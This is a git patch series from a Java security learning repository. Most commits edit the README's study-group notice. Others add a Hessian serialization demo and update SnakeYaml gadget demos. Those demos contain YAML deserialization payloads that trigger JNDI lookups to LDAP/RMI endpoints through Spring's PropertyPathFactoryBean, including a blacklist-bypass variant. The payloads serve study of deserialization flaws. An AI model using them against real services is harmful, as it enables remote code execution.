+![image](https://github.com/user-attachments/assets/2bb09ef2-ee00-4362-9d18-8f3ed22fdd1b) + From e5ecace2b4048057bc1fcf8f80f5e5aade429da3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: 2025年2月27日 17:13:21 +0800 Subject: [PATCH 22/30] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index f0cf8e7..8d59690 100644 --- a/README.md +++ b/README.md @@ -18,7 +18,7 @@ ## Java 安全基础 -可以看b站白日梦组长视频,讲的非常好。 +可以看b站白日梦组长视频,讲的非常好 - [Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分)](https://www.bilibili.com/video/BV16h411z7o9?spm_id_from=333.788.top_right_bar_window_custom_collection.content.click) - [Java-IO流](https://drun1baby.github.io/2022/05/30/Java-IO流/) From 5bce162c5763519650edb2f966bbc65e02fcccbf Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: Mon, 3 Mar 2025 10:52:12 +0800 Subject: [PATCH 23/30] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 8d59690..fd8d284 100644 --- a/README.md +++ b/README.md @@ -228,7 +228,8 @@ Tabby 的使用:https://github.com/wh1t3p1g/tabby > 可加 VX DrunkbabySec -![image](https://github.com/user-attachments/assets/2bb09ef2-ee00-4362-9d18-8f3ed22fdd1b) +![image](https://github.com/user-attachments/assets/b22d088a-854e-4a44-a857-d921567d95c7) + From fc6d5ec44a8cc956f1ddcac724d9aa7461737b8b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: 2025年3月11日 10:49:26 +0800 Subject: [PATCH 24/30] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index fd8d284..ad56831 100644 --- a/README.md +++ b/README.md @@ -228,7 +228,7 @@ Tabby 的使用:https://github.com/wh1t3p1g/tabby > 可加 VX DrunkbabySec -![image](https://github.com/user-attachments/assets/b22d088a-854e-4a44-a857-d921567d95c7) +![2891741661290_ pic](https://github.com/user-attachments/assets/c4f8a6cd-eb3c-4798-9bd2-30ef79d09e31) From 87be3c966a54eb11fa0ac4fbeffa1f0d285d0ed5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: 2025年3月19日 14:35:36 +0800 Subject: [PATCH 25/30] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index ad56831..1b60404 100644 --- a/README.md +++ b/README.md @@ -228,7 +228,8 @@ Tabby 的使用:https://github.com/wh1t3p1g/tabby > 可加 VX DrunkbabySec -![2891741661290_ pic](https://github.com/user-attachments/assets/c4f8a6cd-eb3c-4798-9bd2-30ef79d09e31) +![image](https://github.com/user-attachments/assets/7271f725-0fcc-40e7-ac4d-f1a9c2af35b9) + From b4d00611a328c29e00763e6bc779db7f45b05356 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: 2025年3月28日 11:06:18 +0800 Subject: [PATCH 26/30] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 1b60404..e0fe83b 100644 --- a/README.md +++ b/README.md @@ -228,7 +228,8 @@ Tabby 的使用:https://github.com/wh1t3p1g/tabby > 可加 VX DrunkbabySec -![image](https://github.com/user-attachments/assets/7271f725-0fcc-40e7-ac4d-f1a9c2af35b9) +![image](https://github.com/user-attachments/assets/5d8ce965-39d5-4572-9d6f-bebfa0afe072) + From 5d9a83b1b23811cd1ee5b3a4a5ef119b7fd7ca16 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: 2025年4月14日 10:29:15 +0800 Subject: [PATCH 27/30] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index e0fe83b..01a8dd3 100644 --- a/README.md +++ b/README.md @@ -228,7 +228,7 @@ Tabby 的使用:https://github.com/wh1t3p1g/tabby > 可加 VX DrunkbabySec -![image](https://github.com/user-attachments/assets/5d8ce965-39d5-4572-9d6f-bebfa0afe072) +![image](https://github.com/user-attachments/assets/3541e7fb-7ce1-419b-876d-cdc2a4207ad9) From d47e6051e375b034e2b0a41491209f0af1b58f69 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: Tue, 6 May 2025 15:24:28 +0800 Subject: [PATCH 28/30] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 01a8dd3..e0cbb66 100644 --- a/README.md +++ b/README.md @@ -18,7 +18,7 @@ ## Java 安全基础 -可以看b站白日梦组长视频,讲的非常好 +可以看b站白日梦组长视频,讲的非常好。 - [Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分)](https://www.bilibili.com/video/BV16h411z7o9?spm_id_from=333.788.top_right_bar_window_custom_collection.content.click) - [Java-IO流](https://drun1baby.github.io/2022/05/30/Java-IO流/) From 74b515bf32864f6fdf7b9c11aa11897c640c157b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: 2025年5月23日 10:43:16 +0800 Subject: [PATCH 29/30] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index e0cbb66..186bae2 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ 项目的初衷是为了让更多师傅在学习 Java 安全的时候能够有一条比较清晰的学习路线,也希望师傅们通过这个项目学习 Java 安全时有能够所收获。 -项目文件夹中包含了部分用于漏洞调试的代码(如果有些东西打不通可以直接看代码),对应文章记录在博客中。 +项目文件夹中包含了部分用于漏洞调试的代码(如果有些东西自己搭建失败,可以复用仓库代码),对应文章记录在博客中。 ## 基础开发(是一定要学的) From 33dec526f6aa918b4691e7bed0e2486941df2f8f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B4=96=E4=BD=99?= <75228348+drun1baby@users.noreply.github.com> Date: 2025年6月26日 10:47:43 +0800 Subject: [PATCH 30/30] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 186bae2..cf91ebb 100644 --- a/README.md +++ b/README.md @@ -223,7 +223,7 @@ Tabby 的使用:https://github.com/wh1t3p1g/tabby - 交流群 -随着点 Star 的师傅越来越多,希望给师傅们提供一个交流的平台。 +随着点 Star 的师傅越来越多,希望给师傅们提供一个交流的平台 同时平常有一些师傅会加我好友问问题,问的人越来越多,于是决定建个群,也可以让师傅们在群里交流。(希望以后会写 golang 的 SecurityLearning) > 可加 VX DrunkbabySec

AltStyle によって変換されたページ (->オリジナル) /